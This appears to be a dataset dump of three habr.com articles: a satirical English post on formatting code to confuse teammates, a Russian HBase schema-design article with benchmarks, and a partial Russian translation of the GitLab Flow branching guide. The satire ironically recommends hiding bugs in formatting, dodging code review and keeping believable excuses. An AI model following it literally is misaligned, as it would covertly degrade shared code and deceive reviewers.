text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Dark code-style academy: line breaks, spacing, and indentation
Hey guys! Let me walk you through the next part of our dark-style code academy. In this post, we will discover some other ways how to slow down the reading speed of your code. The next approaches will help you to decrease maintenance and increase a chance to get a bug in your code. Ready? Let's get started.
### Line breaks, spacing, and indentation may kill
How do people read books? From up to bottom, from left to right (at least majority). The same happens when developers read code. One line should give only one thought, therefore every line should match only one command. If you want to confuse other developers you'd better violate those principles. And I will show you how.
#### Case #1
Look at this piece of code. One idea per line. It is so clean so it makes me sick.
```
return elements
.Where(element => !element.Disabled)
.OrderBy(element => element.UpdatedAt)
.GroupBy(element => element.Type)
.Select(@group => @group.First());
```
We can join all statements into one line, but it's going to be too easy. In this way, the developer's brain will understand that something is wrong and will parse your statements from left to right. Easy-peasy!
The better way is to leave a couple of statements per one line and some on own separate one. The best scenario is when a developer might not even notice some statements which will lead to misunderstanding and to a bug eventually. In another way, we will just slow down his understanding of this code due to the parsing and "WTF" screaming.
```
return elements.Where(e => !e.Disabled)
.OrderBy(e => e.UpdatedAt).GroupBy(e => e.Type)
.Select(g => g.First());
```
How cool is that? You can add some indentation so other developers will be aligning your code for decades if they need to rename `elements` variable.
```
return elements.Where(e => !e.Disabled)
.OrderBy(e => e.UpdatedAt).GroupBy(e => e.Type)
.Select(g => g.First());
```
Send me a postcard if this approach passed code review in your team.
> Lesson: Leave a couple of statements per one line and someplace on their own lines.
>
>
#### Case #2
Absolutely the same idea here. But this code you can see more often.
```
var result =
(condition1 && condition2) ||
condition3 ||
(condition4 && condition5);
```
Action items are the same as well. Split lines to confuse as much as you can. Play a little with line breaks to choose the best option.
```
var result = (condition1 && condition2) || condition3 ||
(condition4 && condition5);
```
And plus some indentation to make it like normal code.
```
var result = (condition1 && condition2) || condition3 ||
(condition4 && condition5);
```
Remember, you have to keep a balance between the unreadability of your code and the believability of your excuse.
> Lesson: Play with line breaks to choose the best option.
>
>
#### Case #3
What about this one?
```
if (isValid)
{
_unitOfWork.Save();
return true;
}
else
{
return false;
}
```
Same problem but in another shade. Here is the best way to join all statements into one line and, of course, leave curly braces.
```
if (isValid) { _unitOfWork.Save(); return true; } else { return false; }
```
This approach will work only in case you don't have many statements in then and `else` blocks. Otherwise, your code may be rejected on the code-review stage.
> Lesson: Join small `if/for/foreach` statements into one line.
>
>
#### Case #4
80 characters per line is a standard which is preferable even today. This allows you to keep a developer concentrated while reading your code. Moreover, you can open two documents simultaneously per one screen when you need and there is a place left for your solution explorer.
```
bool IsProductValid(
ComplexProduct complexProduct,
bool hasAllRequiredElements,
ValidationSettings validationSettings)
{
// code
}
```
The easiest way to slow down reading your code is to let other developers scrolling your code horizontally. Just ignore the rule of 80 characters.
```
bool IsProductValid(ComplexProduct complexProduct, bool hasAllRequiredElements, ValidationSettings validationSettings)
{
// code
}
```
It is super easy to forget what was before you start scrolling or miss the line where you have started. Nice trick.
> Lesson: Ignore the rule of 80 characters on purpose.
>
>
#### Case #5
An empty line in the **right** place is a powerful instrument to group your code up and increase reading speed.
```
ValidateAndThrow(product);
product.UpdatedBy = _currentUser;
product.UpdatedAt = DateTime.UtcNow;
product.DisplayStatus = DisplayStatus.New;
_unitOfWork.Products.Add(product);
_unitOfWork.Save();
return product.Key;
```
An empty line in the **wrong** place along with other tips from these lessons may help you to save your job. Which empty line do you prefer?
```
ValidateAndThrow(product);
product.UpdatedBy = _currentUser;
product.UpdatedAt = DateTime.UtcNow;
product.DisplayStatus = DisplayStatus.New;
_unitOfWork.Products.Add(product);
_unitOfWork.Save();
return product.Key;
```
> Lesson: Place empty lines randomly.
>
>
#### Case #6
When you commit your code to a repository, there is a teeny-tiny possibility that you can take a look at what you are committing. DONT DO THIS! It is ok if you added an extra empty line like this.
```
private Product Get(string key)
{
// code
}
private void Save(Product product)
{
// code
}
```
Or, which is better, some extra spaces on the empty line here (just select line 5).
```
private Product Get(string key)
{
// code
}
private void Save(Product product)
{
// code
}
```
Why do you need it? The code is still working (but that's not for sure). You still understand your code. Another developer will understand your code less. You can' just add some extra spaces overall methods at once in your project (code review is our enemy), but using this practice you will get some mess in a couple of weeks of active development.
One additional benefit from using extra spaces per line is that when other developers will commit some related functionality, their IDE may automatically fix file formatting. On code review, they will see thousands of same red and green lines. If you know what I mean ;)
For this reason, you can set up tabs on your IDE if you have spaces on your project and vice versa.
> Lesson: Do not look at the code before commit.
>
>
#### Case #7
Bypass those developers who can see extra space in this code. They are dangerous for your career.
```
product.Name = model.Name;
product.Price = model.Price;
product.Count = model.Count;
```
> Lesson: Know your enemy.
>
>
Hard work will make your code unmaintainable. When you gather lots of small issues then they will be growing without your input. Junior developers will be writing their code by your template. Once, on a wonderful day, during your code review, you will hear "WFT?" from your team lead and you will get an opportunity to use the famous phrase: "What? We always do like this." And then you can point him to a thousand places like this one. Enjoy. | https://habr.com/ru/post/517690/ | null | en | null |
# Особенности проектирования модели данных для NoSQL
Введение
--------
 *«Нужно бежать со всех ног, чтобы только оставаться на месте,
а чтобы куда-то попасть, надо бежать как минимум вдвое быстрее!»
(с) Алиса в стране чудес*
Некоторое время назад меня попросили прочитать лекцию **аналитикам** нашей компании на тему проектирования моделей данных, ведь сидя долгое время на проектах (порою по нескольку лет) мы упускаем из виду происходящее вокруг в мире ИТ-технологий. В нашей компании (уж так получилось) на многих проектах не используются NoSQL-базы данных (по крайней мере пока), поэтому в своей лекции я отдельно уделил им некоторое внимание на примере HBase и постарался ориентировать изложение материала на тех, кто с ними никогда не работал. В частности, я иллюстрировал некоторые особенности проектирования модели данных на примере, который несколько лет назад прочитал [в статье «Introduction to HB ase Schema Design» by Amandeep Khurana](https://www.coursehero.com/file/13808299/H-Base-Architecture/). Разбирая примеры, я сравнивал между собой несколько вариантов решения одной и той же задачи, чтобы лучше донести до слушателей основные идеи.
Недавно, «от нечего делать», я задался вопросом (длинные майские выходные в режиме карантина к этому особенно располагают), насколько теоретические выкладки будут соответствовать практике? Собственно, так и родилась идея этой статьи. Разработчик, который не первый день работает с NoSQL, возможно и не почерпнет из нее что-то новое (и поэтому может сразу промотать полстатьи). Но для **аналитиков**, которые еще не работали плотно с NoSQL, полагаю, она будет полезна для получения базовых представлений об особенностях проектирования моделей данных для HBase.
Разбор примера
--------------
На мой взгляд, прежде чем начать использовать NoSQL базы данных, необходимо хорошо подумать и взвесить «за» и «против». Часто задачу скорее всего можно решить и на традиционных реляционных СУБД. Поэтому лучше не использовать NoSQL без существенных на то оснований. Если все же было принято решение использовать NoSQL базу данных, то следует учесть, что подходы к проектированию здесь несколько отличаются. Особенно некоторые из них могут быть непривычны тем, кто до этого имел дело только с реляционными СУБД (по моим наблюдениям). Так, в «реляционном» мире мы обычно идем от моделирования предметной области, и уже потом при необходимости проводим денормализацию модели. В NoSQL же мы сразу должны учитывать предполагаемые сценарии работы с данными и изначально денормализовывать данные. Кроме того, есть ряд других отличий, о которых будет написано ниже.
Рассмотрим следующую «синтетическую» задачу, с которой и будем далее работать:
> Необходимо спроектировать структуру хранения списка друзей пользователей некой абстрактной социальной сети. Для упрощения будем полагать, что все связи у нас направленные (как в Инстаграмме, а не в Linkedin). Структура должна позволять эффективно:
>
> * Отвечать на вопрос, читает ли пользователь А пользователя Б (шаблон чтения)
> * Позволять добавлять/удалять связи в случае подписки/отписки пользователя А от пользователя Б (шаблон изменения данных)
>
>
>
>
Конечно же, вариантов решения задачи множество. В обычной реляционной БД мы бы скорее всего просто сделали бы таблицу связей (возможно, типизированную, если, например, требуется хранить пользовательскую группу: семья, работа и т.п., в которую входит данный «друг»), а для оптимизации скорости доступа добавили бы индексы/партиционирование. Скорее всего итоговая таблица выглядела бы примерно вот так:
| user\_id | friend\_id |
| --- | --- |
| Вася | Петя |
| Вася | Оля |
*здесь и далее для наглядности и лучшего понимания вместо ID буду указывать имена*
В случае же с HBase мы знаем, что:
* эффективный поиск, не приводящий к full table scan, возможен исключительно по ключу
+ *собственно, поэтому писать привычные многим SQL-запросы к подобным базам – плохая идея; технически, конечно, вы можете из той же Impala отправить SQL-запрос с Join’ами и прочей логикой в HBase, но вот насколько это будет эффективно…*
Поэтому ID пользователя мы вынуждены использовать как ключ. А первой мыслью на тему «где и как хранить ID друзей?» может быть идея хранения их в колонках. Этот самый очевидный и «наивный» вариант будет выглядеть примерно так (назовем его **Вариант 1 (default)**, чтобы ссылаться в дальнейшем):
| RowKey | Колонки |
| --- | --- |
| Вася | 1: Петя | 2: Оля | 3: Даша |
| Петя | 1: Маша | 2: Вася | |
Здесь каждая строка соответствует одному пользователю сети. Колонки имеют имена: 1, 2, … — по количеству друзей, и в колонках хранятся ID друзей. Важно заметить, что у каждой строки будет разное число колонок. В примере на рисунке выше одна строка имеет три колонки (1, 2 и 3), а вторая – только две (1 и 2) – здесь мы сами воспользовались двумя свойствами HBase, которых нет у реляционных БД:
* возможностью динамически менять состав колонок (добавляем друга -> добавляем колонку, удаляем друга -> удаляем колонку)
* у разных строк может быть различный состав колонок
Проверим нашу структуру на соответствие требованиям задачи:
* **Чтение данных**: для того, чтобы понять, подписан ли Вася на Олю, нам надо будет вычитать всю строку по ключу RowKey = «Вася» и перебирать значения колонок, пока не «встретим» в них Олю. Или перебрать значения всех колонок, «не встретить» Олю и вернуть ответ False;
* **Изменение данных: добавление друга**: для подобной задачи нам так же потребуется вычитать всю строку по ключу RowKey = «Вася», чтобы посчитать общее количество его друзей. Это общее кол-во друзей нам необходимо, чтобы определить номер колонки, в которую надо записать ID нового друга.
* **Изменение данных: удаление друга**:
+ Необходимо вычитать всю строку по ключу RowKey = «Вася» и перебирать колонки для того, чтобы найти ту самую, в которой записан удаляемый друг;
+ Далее нам, после удаления друга, надо «сдвинуть» все данные на одну колонку, чтобы не получить «разрывов» в их нумерации.
Давайте теперь оценим, насколько данные алгоритмы, которые нам необходимо будет реализовывать на стороне «условного приложения», будут производительны, используя [О-символику](https://ru.wikipedia.org/wiki/%C2%ABO%C2%BB_%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%BE%D0%B5_%D0%B8_%C2%ABo%C2%BB_%D0%BC%D0%B0%D0%BB%D0%BE%D0%B5). Обозначим размер нашей гипотетической социальной сети как n. Тогда максимальное число друзей у одного пользователя может быть (n-1). Этой (-1) мы можем в дальнейшем пренебречь для наших целей, так как в рамках использования О-символики она несущественна.
* **Чтение данных**: необходимо вычитать всю строку и перебрать в пределе все ее колонки. Значит верхняя оценка затрат будет примерно О(n)
* **Изменение данных: добавление друга**: для определения количества друзей требуется перебрать все колонки строки, после чего вставить новую колонку => О(n)
* **Изменение данных: удаление друга**:
+ Аналогично добавлению – требуется в пределе перебрать все колонки => О(n)
+ После удаления колонок нам надо «сдвинуть» их. Если реализовывать это «в лоб», то в пределе потребуется еще до (n-1) операций. Но мы здесь и далее в практической части применим иной подход, который будет реализовывать «псевдо-сдвиг» за фиксированное кол-во операций – то есть на него будет тратиться константное время вне зависимости от n. Этим константным временем (если быть точным, то О(2)) по сравнению с О(n) можно пренебречь. Подход проиллюстрирован на рисунке ниже: мы просто копируем данные из «последней» колонки в ту, из которой надо удалить данные, после чего удаляем последнюю колонку:
Итого, во всех сценариях мы получили асимптотическую вычислительную сложность O(n).
Наверное, вы уже заметили, что нам приходится почти всегда вычитывать из базы всю строку целиком, причем в двух случаях из трех только для того, чтобы перебрать все колонки и посчитать общее кол-во друзей. Поэтому в качестве попытки оптимизации можно добавить колонку «count», в которой хранить общее число друзей каждого пользователя сети. В этом случае мы можем не вычитывать всю строку целиком для подсчета общего кол-ва друзей, а прочитать только одну колонку «count». Главное, не забывать обновлять «count» при манипуляции с данными. Т.о. получаем улучшенный **Вариант 2 (count):**
| RowKey | Колонки |
| --- | --- |
| Вася | 1: Петя | 2: Оля | 3: Даша | count: 3 |
| Петя | 1: Маша | 2: Вася | | count: 2 |
По сравнению с первым вариантом:
* **Чтение данных**: для получения ответа на вопрос «Читает ли Вася Олю?» ничего не изменилось => О(n)
* **Изменение данных: добавление друга**: Мы упростили вставку нового друга, так как теперь нам не надо вычитывать всю строку и перебирать ее колонки, а можно получить только значение колонки «count» и т.о. сразу определить номер колонки для вставки нового друга. Это приводит к снижению вычислительной сложности до О(1)
* **Изменение данных: удаление друга**: При удалении друга мы можем так же воспользоваться данной колонкой, чтобы снизить количество операций ввода-вывода при «сдвиге» данных на одну ячейку влево. Но необходимость перебора колонок для поиска той, которую необходимо удалить, все равно остается, поэтому => O(n)
* С другой стороны, теперь нам при обновлении данных необходимо каждый раз обновлять и колонку «count», но на это уходит константное время, которым в рамках О-символики можно пренебречь
В целом вариант 2 видится чуть более оптимальным, но это скорее «эволюция вместо революции». Для совершения «революции» нам понадобится **Вариант 3 (col)**.
Перевернем все «с ног на голову»: назначим именем колонки идентификатор пользователя! Что будет записано в самой колонке – для нас уже не суть важно, пусть будет цифра 1 (вообще, из полезного там можно хранить, например, группу «семья/друзья/и т.п.»). Данный подход может удивить неподготовленного «обывателя», который до этого не имел опыта работы с NoSQL-базами, но именно он позволяет использовать потенциал HBase в данной задаче намного эффективнее:
| RowKey | Колонки |
| --- | --- |
| Вася | Петя: 1 | Оля: 1 | Даша: 1 |
| Петя | Маша: 1 | Вася: 1 | |
Здесь мы получаем сразу несколько преимуществ. Чтобы их понять, проанализируем новую структуру и оценим вычислительную сложность:
* **Чтение данных**: для того, чтобы ответить на вопрос, подписан ли Вася на Олю, достаточно прочитать одну колонку «Оля»: если она есть, то ответ True, если нет – False => O(1)
* **Изменение данных: добавление друга**: Добавление друга: достаточно просто добавить новую колонку «ID друга» => O(1)
* **Изменение данных: удаление друга**: достаточно просто удалить колонку «ID друга» => O(1)
Как видим, существенным преимуществом такой модели хранения является то, что мы во всех необходимых нам сценариях оперируем только одной колонкой, избегая вычитывания из базы всей строки и тем более, перебора всех колонок этой строки. На этом можно было бы остановиться, но…
Можно озадачиться и пойти еще немного дальше по пути оптимизации производительности и уменьшения операций ввода-вывода при обращении к базе. Что если хранить полную информацию о связи непосредственно в самом ключе строки? То есть сделать ключ составным вида userID.friendID? В этом случае нам вообще можно даже не вычитывать колонки строки (**Вариант 4(row)**):
| RowKey | Колонки |
| --- | --- |
| Вася.Петя | Петя: 1 |
| Вася.Оля | Оля: 1 |
| Вася.Даша | Даша: 1 |
| Петя.Маша | Маша: 1 |
| Петя.Вася | Вася: 1 |
Очевидно, что оценка всех сценариев манипуляции с данными в такой структуре также, как и в предыдущем варианте будет О(1). Разница с вариантом 3 будет уже исключительно в эффективности операций ввода-вывода в БД.
Ну и последний «бантик». Легко заметить, что в варианте 4 у нас ключ строки будет иметь переменную длину, что, возможно, может повлиять на производительность (тут вспоминаем, что HBase хранит данные как набор байтов и строки в таблицах отсортированы по ключу). Плюс у нас есть разделитель, который в некоторых сценариях может потребоваться обрабатывать. Чтобы исключить это влияние, можно использовать хэши от userID и friendID, и так как оба хэша будут иметь постоянную длину, то можно просто конкатенировать их, без разделителя. Тогда данные в таблице будут выглядеть так (**Вариант 5(hash)**):
| RowKey | Колонки |
| --- | --- |
| dc084ef00e94aef49be885f9b01f51c01918fa783851db0dc1f72f83d33a5994 | Петя: 1 |
| dc084ef00e94aef49be885f9b01f51c0f06b7714b5ba522c3cf51328b66fe28a | Оля: 1 |
| dc084ef00e94aef49be885f9b01f51c00d2c2e5d69df6b238754f650d56c896a | Даша: 1 |
| 1918fa783851db0dc1f72f83d33a59949ee3309645bd2c0775899fca14f311e1 | Маша: 1 |
| 1918fa783851db0dc1f72f83d33a5994dc084ef00e94aef49be885f9b01f51c0 | Вася: 1 |
Очевидно, что алгоритмическая сложность работы с такой структурой по рассматриваемом нами сценариями, будет такая же, как у варианта 4 – то есть О(1).
Итого, сведем все наши оценки вычислительной сложности в одну таблицу:
| | Добавление друга | Проверка друга | Удаление друга |
| --- | --- | --- | --- |
| Вариант 1 (default) | O(n) | O(n) | O(n) |
| Вариант 2 (count) | O(1) | O(n) | O(n) |
| Вариант 3 (column) | O(1) | O(1) | O(1) |
| Вариант 4 (row) | O(1) | O(1) | O(1) |
| Вариант 5 (hash) | O(1) | O(1) | O(1) |
Как видно, варианты 3-5 выглядят наиболее предпочтительным и теоретически обеспечивает выполнение всех необходимых сценариев манипуляции с данными за константное время. В условии нашей задачи нет явного требования по получению списка всех друзей пользователя, но в реальной проектной деятельности нам, как хорошим аналитикам, хорошо бы «предвидеть», что подобная задача может возникнуть и «подстелить соломку». Поэтому мои симпатии на стороне варианта 3. Но вполне вероятно, что в реальном проекте данный запрос могл быть уже решен иными средствами, поэтому без общего видения всей задачи лучше не делать окончательных выводов.
Подготовка эксперимента
-----------------------
Вышеизложенные теоретические рассуждения хотелось бы проверить на практике – это и было целью возникшей на долгих выходных задумки. Для этого необходимо оценить скорость работы нашего «условного приложения» во всех описанных сценариях использования базы, а также рост этого времени с ростом размера социальной сети (n). Целевым параметром, который нас интересует и который мы будем замерять в ходе эксперимента, является время, затраченное «условным приложением», на выполнение одной «бизнес-операции». Под «бизнес-операцией» мы понимаем одну из следующих:
* Добавление одного нового друга
* Проверка, является ли пользователь А другом пользователя Б
* Удаление одного друга
Таким образом, с учетом обозначенных в изначальной постановке требований, сценарий проверки вырисовывается следующий:
* **Запись данных**. Сгенерировать случайным образом исходную сеть размером n. Для большего приближения к "реальному миру" количество друзей у каждого пользователя – так же случайная величина. Замерить время, за которое наше «условное приложение» запишет в HBase все сгенерированные данные. Потом полученное время разделить на общее количество добавленных друзей – так мы получим среднее время на одну «бизнес-операцию»
* **Чтение данных**. Для каждого пользователя составить список «личностей», для которых надо получить ответ, подписан ли на них пользователь или нет. Длина списка = примерно кол-ву друзей пользователя, причем для половины проверяемых друзей ответ должен быть «Да», а для другой половины – «Нет». Проверка производится в таком порядке, чтобы ответы «Да» и «Нет» чередовались (то есть в каждом втором случае нам придется перебирать все колонки строки для вариантов 1 и 2). Общее время проверки затем разделить на количество проверяемых друзей для получения среднего времени на проверку одного субъекта.
* **Удаление данных**. Удалить у пользователя всех друзей. Причем порядок удаления – случайный (то есть «перемешиваем» изначальный список, использовавшийся для записи данных). Общее время проверки затем разделить на количество удаляемых друзей для получения среднего времени на одну проверку.
Сценарии необходимо прогнать для каждого из 5 вариантов моделей данных и для разных размеров социальной сети, чтобы посмотреть, как меняется время с ее ростом. В рамках одного n связи в сети и список пользователей для проверки должны быть, естественно, одинаковыми для всех 5 вариантов.
Для лучшего понимания ниже привожу пример сгенерированных данных для n= 5. Написанный «генератор» дает на выходе три словаря ID-шников:
* первый – для вставки
* второй – для проверки
* третий – для удаления
```
{0: [1], 1: [4, 5, 3, 2, 1], 2: [1, 2], 3: [2, 4, 1, 5, 3], 4: [2, 1]} # всего 15 друзей
{0: [1, 10800], 1: [5, 10800, 2, 10801, 4, 10802], 2: [1, 10800], 3: [3, 10800, 1, 10801, 5, 10802], 4: [2, 10800]} # всего 18 проверяемых субъектов
{0: [1], 1: [1, 3, 2, 5, 4], 2: [1, 2], 3: [4, 1, 2, 3, 5], 4: [1, 2]} # всего 15 друзей
```
Как можно заметить, все ID, большие 10 000 в словаре для проверки – это как раз те, которые заведомо дадут ответ False. Вставка, проверка и удаление «друзей» производятся именно в указанной в словаре последовательности.
Эксперимент проводился на ноутбуке под управлением Windows 10, где в одном докер-контейнере была запущена база HBase, а в другом – Python с Jupyter Notebook. Докеру было выделено 2 ядра CPU и 2 Гб оперативной памяти. Вся логика, как и эмуляции работы «условного приложения», так и «обвязка» для генерации тестовых данных и замера времени были написаны на Python. Для работы с HBase использовалась библиотека [happybase](https://happybase.readthedocs.io/en/latest/), для вычисления хэшей (MD5) для варианта 5 — hashlib
С учетом вычислительной мощности конкретного ноутбука экспериментально был выбран запуск для n = 10, 30, …. 170 – когда общее время работы полного цикла тестирования (все сценарии для всех вариантов для всех n) было еще более-менее разумным и умещалось во время одного чаепития (в среднем 15 минут).
Тут необходимо сделать ремарку, что в данном эксперименте мы в первую очередь оцениваем не абсолютные цифры производительности. Даже относительное сравнение разных двух вариантов может быть не совсем корректным. Сейчас нас интересует именно характер изменения времени в зависимости от n, так как с учетом указанной выше конфигурации «тестового стенда» получить временные оценки, «очищенные» от влияния случайных и прочих факторов, очень сложно (да и такой задачи не ставилось).
Результат эксперимента
----------------------
Первый тест – как меняется время, затрачиваемое на заполнение списка друзей. Результат – на графике ниже.
Варианты 3-5 ожидаемо показывают практически константное время «бизнес-операции», которое не зависит от роста размера сети и неотличимую разницу в производительности.
Вариант 2 показывает тоже константную, но чуть худшую производительность, причем практически ровно в 2 раза относительно вариантов 3-5. И это не может не радовать, так как соотноситься с теорией – в этом варианте количество операций ввода-вывода в/из HBase как раз в 2 раза больше. Это может служить косвенным свидетельством, что наш тестовый стенд в принципе дает неплохую точность.
Вариант 1 так же ожидаемо оказывается самым медленным и демонстрирует линейный от размера сети рост времени, затрачиваемого на добавление одно друга.
Посмотрим теперь результаты второго теста.
Варианты 3-5 опять же ведет себя ожидаемо – константное время, не зависящее от размера сети. Варианты 1 и 2 демонстрируют линейный рост времени при росте размера сети и схожую производительность. Причем вариант 2 оказывается чуть медленнее – по всей видимости из-за необходимости вычитки и обработки дополнительной колонки «count», что при росте n становится более заметным. Но я все же воздержусь от каких-либо выводов, так как точность данного сравнения относительно невысока. Кроме того, данные соотношения (какой вариант, 1 или 2, быстрее) менялись от запуска к запуску (при этом сохраняя характер зависимости и "идя ноздря в ноздрю").
Ну и последний график – результат тестирования удаления.
Здесь опять же без сюрпризов. Варианты 3-5 осуществляют удаление за константное время.
Причем, что интересно, варианты 4 и 5, в отличии от предыдущих сценариев, показывают заметную чуть худшую производительность, чем вариант 3. По всей видимости, операция удаления строки – более затратная, нежели операция удаления колонки, что в целом логично.
Варианты 1 и 2, ожидаемо, демонстрируют линейный рост времени. При этом вариант 2 стабильно медленнее варианта 1 – из-за дополнительной операции ввода-вывода по «обслуживанию» колонки count.
**Общие выводы эксперимента:**
* Варианты 3-5 демонстрируют бОльшую эффективность, так как они использует преимущества HBase; при этом их производительность отличается друг относительно друга на константу и не зависит от размера сети.
* Разница между вариантами 4 и 5 не была зафиксирована. Но это не значит, что вариант 5 не следует использовать. Вполне вероятно, что используемый сценарий эксперимента с учетом ТТХ тестового стенда не позволил ее выявить.
* Характер роста времени, необходимого на выполнение «бизнес-операций» с данными, в целом подтвердил полученные ранее теоретические выкладки для всех вариантов.
Эпилог
------
Проведенные грубые эксперименты не следует воспринимать как абсолютную истину. Есть множество факторов, которые не были учтены и вносили искажения в результаты (особенно хорошо эти флуктуации видны на графиках при небольшом размере сети). Например, скорость работы thrift, который используется happybase, объем и способ реализации логики, которая у меня была написана на Python (не берусь утверждать, что код был написан оптимально и эффективно использовал возможности всех компонент), возможно особенности кэширования HBase, фоновая активность Windows 10 на моем ноутбуке и т.п. В целом можно считать, что все теоретические выкладки экспериментально показали свою состоятельность. Ну или как минимум опровергнуть их таким вот «наскоком в лоб» не получилось.
В заключении — рекомендации всем, кто только начинает проектировать модели данных в HBase: абстрагируйтесь от предыдущего опыта работы с реляционными базами и помните «заповеди»:
* Проектируя, идем от задачи и шаблонов манипуляции с данными, а не от модели предметной области
* Эффективный доступ (без full table scan) – только по ключу
* Денормализация
* Разные строки могу содержать разные колонки
* Динамический состав колонок | https://habr.com/ru/post/504166/ | null | ru | null |
# GitLab Flow
*Это перевод достаточно важной статьи про GitLab Flow, альтернативе Git flow и GitHub flow. Статья была написана в 2014, так что скриншоты успели устареть. Тем не менее сама статья более чем актуальна:*
---
Ветвление и слияние веток в git устроено гораздо проще, чем в более ранних системах контроля версий, таких как SVN. Поэтому есть много способов организации командной работы над кодом, и большинство из них достаточно хороши. По крайней мере, они дают много преимуществ по сравнению с тем, что было до git. Но сам по себе git — не серебряная пуля, и во многих командах организация рабочего процесса с git имеет ряд проблем:
* Не описан точным образом весь рабочий процесс,
* Вносится ненужная сложность,
* Нет связи с трекером задач (issue tracker).
Мы хотим представить вам GitLab flow — чётко определённый набор практик, решающий эти проблемы. Он объединяет в одну систему:
* Практику [разработки, управляемой функциональностью (feature driven development)](https://ru.wikipedia.org/wiki/Feature_driven_development),
* Использование [feature-веток (feature branches)](http://martinfowler.com/bliki/FeatureBranch.html),
* Трекер задач.
Эта статья описывает все аспекты GitLab flow, включая работу с ветками, интеграцию с задачами, непрерывную интеграцию и развёртывание. Её цель — помочь новым командам перейти на git и сразу внедрить простые, прозрачные и эффективные правила работы с ним.
В большинстве систем контроля версий, чтобы поделиться кодом с коллегами, нужно сделать одно действие — коммит в репозиторий. В git то же самое происходит в три этапа:
1. Добавить изменения из рабочей области проекта в индекс (область подготовленных файлов, staging area);
2. Сделать коммит на основе индекса;
3. Запушить коммит в удалённый репозиторий.
Освоение этих действий — первый шаг в изучении git. Следом идет работа с ветками.
Если не устанавливать никаких правил работы с ветками, в репозитории начинает расти энтропия:
* Появляется много долгоживущих веток,
* Вносимые изменения оказываются размазанными по разным веткам,
* Непонятно, откуда начинать разработку новой фичи или откуда разворачивать код на production.
Для решения этих проблем обычно внедряется некая стандартная модель работы, например [git flow](http://nvie.com/posts/a-successful-git-branching-model/) или [GitHub flow](http://scottchacon.com/2011/08/31/github-flow.html). Мы считаем, что у всех этих моделей есть потенциал для улучшения, поэтому мы разработали GitLab flow.
Git flow и его ограничения
--------------------------
Модель рабочего процесса Git flow появилась одной из первых и стала довольно широко известной. Она предполагает наличие основной ветки `master`, ветки для накопленных изменений `develop`, а также отдельных веток для фич, релизов и хотфиксов. Разрабатываемые изменения мержатся в `develop`, оттуда в релизные ветки, и в итоге попадают в `master`. Git flow достаточно подробно и четко определяет рабочий процесс, но его сложность порождает две проблемы.
Во-первых, разработчики должны использовать ветку `develop`, а не `master`, потому что последняя зарезервирована под релизный код. Это противоречит привычной практике называть `master` основную ветку, от которой ответвляются прочие ветки, и в которую мержится результат. Нередко разработчики по ошибке мержат какие-то изменения только в `master`, забывая про `develop`. А большинство графических интерфейсов к git по умолчанию считают основной веткой именно `master`, поэтому в них приходится каждый раз что-то переключать или настраивать.
Во-вторых, лишняя сложность появляется из-за веток релизов и хотфиксов. Большинство команд, особенно небольших, может легко обойтись без них. Сегодня большинство организаций придерживается практики непрерывной доставки (continuous delivery), которая предполагает, что код из основной ветки можно развёртывать на продакшен (production, то, что предоставляется пользователям).
Следовательно, можно исключить ветки релизов и хотфиксов и всю лишнюю работу, которая для них требуется. Пример такой лишней работы — обратный мерж релизных веток в `master`. Для решения этой проблемы есть специальные инструменты, но они тоже требуют изучения документации и только добавляют сложности.
GitHub flow – более простой вариант
-----------------------------------
В противовес сложной модели git flow был разработана модель GitHub flow. В ней есть только `master` и feature-ветки. Это упрощение привело к успешному внедрению GitHub flow множеством компаний. Компания Atlassian предложила [похожую стратегию](http://blogs.atlassian.com/2014/01/simple-git-workflow-simple/). Но, в отличие от GitHub, они предпочитают делать ребейз (rebase), а не мерж веток в `master`.
Мерж всех изменений в `master` и частое развёртывание позволяют не писать код «в стол», а сразу выпускать изменения. Это соответствует идеям бережливого (lean) производства и непрерывной доставки. Но множество вопросов остаются без ответа: когда именно нужно развёртывать и в каких окружениях, как выпускать релизы, как связать всё это с трекером задач. GitLab flow отвечает на все эти вопросы.
GitLab flow: ветка production
-----------------------------
GitHub flow строится на предположении, что вы можете развернуть ваш код на продакшен в любой момент, сразу после мержа feature-ветки в `master`. Это верно для SaaS-приложений, но неверно в множестве других случаев. Бывает, что вы не можете влиять на точное время релиза. Например, вы выпускаете приложение под iOS и каждое обновление должно пройти валидацию в AppStore. Другой пример — когда релизить можно в строго определённое время (например, с 10 до 16 в будние дни, когда все сотрудники находятся на рабочем месте), но замержить ветку в `master` можно в любое время.
Для управления выпуском кода в продакшен GitLab flow предлагает использовать специальную ветку `production`. Настройте автоматическое развёртывание кода из этой ветки при каждом изменении в ней. Теперь для релиза достаточно сделать мерж из ветки `master` в `production`. Состояние ветки даст вам точную информацию о том, какая версия кода сейчас выпущена, а приблизительное время выпуска можно будет определить по времени создания мерж-коммита. Если вам нужна абсолютная точность, можно в процессе развёртывания создавать новый тег с timestamp'ом в описании.
GitLab flow: ветки для нескольких сред
--------------------------------------
Может быть полезно иметь отдельную среду (environment), в которую происходит развёртывание из ветки `master`. В этом единственном случае название среды может отличаться от названия ветки.
Предположим, что у вас есть несколько сред: стейджинг (staging), пре-продакшен (pre-production) и продакшен (production). Код из `master` автоматически развёртывается на стейджинг. Как только вы готовы развернуть его на пре-продакшен, вы создаете мерж-реквест из `master` в `pre-production`. Соответственно, мерж из `pre-production` в `production` означает окончательный релиз. Такой процесс, когда все коммиты проходят через ветки в строго определенном порядке, гарантирует, что изменения прошли тестирование во всех средах.
Если вам нужно быстро «протащить» хотфикс на продакшен, то можно реализовать его в обычной feature-ветке, а потом открыть мерж-реквест в `master`, не удаляя ветку. Теперь, если код в `master` проходит тесты и жизнеспособен (правильно настроенная непрерывная доставка должна гарантировать это), вы можете замержить ветку хотфикса последовательно в `pre-production` и `production`. Если же изменения требуют дополнительного тестирования, то вместо немедленного мержа нужно открыть мерж-реквесты в те же ветки. В «экстремальном» случае отдельная среда может создаваться для каждой ветки. Так делается, например, в [Teatro](https://teatro.io/).
GitLab flow: релизные ветки
---------------------------
Ветки релизов понадобятся вам только если вы выпускаете ПО для внешних клиентов. В таком случае каждая минорная версия будет храниться в отдельной ветке (`2.3-stable`, `2.4-stable` и т.п.).
